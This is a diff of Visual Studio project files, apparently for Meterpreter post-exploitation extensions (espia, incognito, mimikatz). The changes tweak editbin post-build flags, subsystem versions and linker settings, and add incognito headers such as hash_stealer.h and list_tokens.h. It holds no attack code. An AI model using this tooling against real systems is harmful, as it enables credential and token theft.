<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY

@ -147,9 +147,11 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -176,9 +178,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -208,9 +212,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -240,9 +245,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -293,7 +299,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -344,7 +350,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -380,7 +386,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_espia.map</MapFileName> <MapFileName>$(OutDir)\ext_server_espia.map</MapFileName>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -395,7 +401,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -431,7 +437,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_espia.map</MapFileName> <MapFileName>$(OutDir)\ext_server_espia.map</MapFileName>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -446,7 +452,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -492,4 +498,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -147,9 +147,11 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -176,9 +178,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -227,7 +231,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -276,7 +280,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -306,9 +310,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -338,9 +343,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -377,7 +383,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_incognito.map</MapFileName> <MapFileName>$(OutDir)\ext_server_incognito.map</MapFileName>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -392,7 +398,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -429,7 +435,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_incognito.map</MapFileName> <MapFileName>$(OutDir)\ext_server_incognito.map</MapFileName>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -444,7 +450,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -476,8 +482,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ReferenceOutputAssembly>false</ReferenceOutputAssembly> <ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference> </ProjectReference>
</ItemGroup> </ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\incognito\hash_stealer.h" />
<ClInclude Include="..\..\source\extensions\incognito\incognito.h" />
<ClInclude Include="..\..\source\extensions\incognito\list_tokens.h" />
<ClInclude Include="..\..\source\extensions\incognito\token_info.h" />
<ClInclude Include="..\..\source\extensions\incognito\user_management.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -158,7 +158,7 @@
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -200,7 +200,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -230,9 +230,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -262,9 +263,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -306,7 +308,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -348,7 +350,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -382,7 +384,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs> <DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -397,7 +399,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -431,7 +433,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs> <DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -446,7 +448,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -485,4 +487,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -212,7 +212,7 @@
<ImportLibrary>$(OutDir)\ext_server_mimikatz.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_mimikatz.lib</ImportLibrary>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
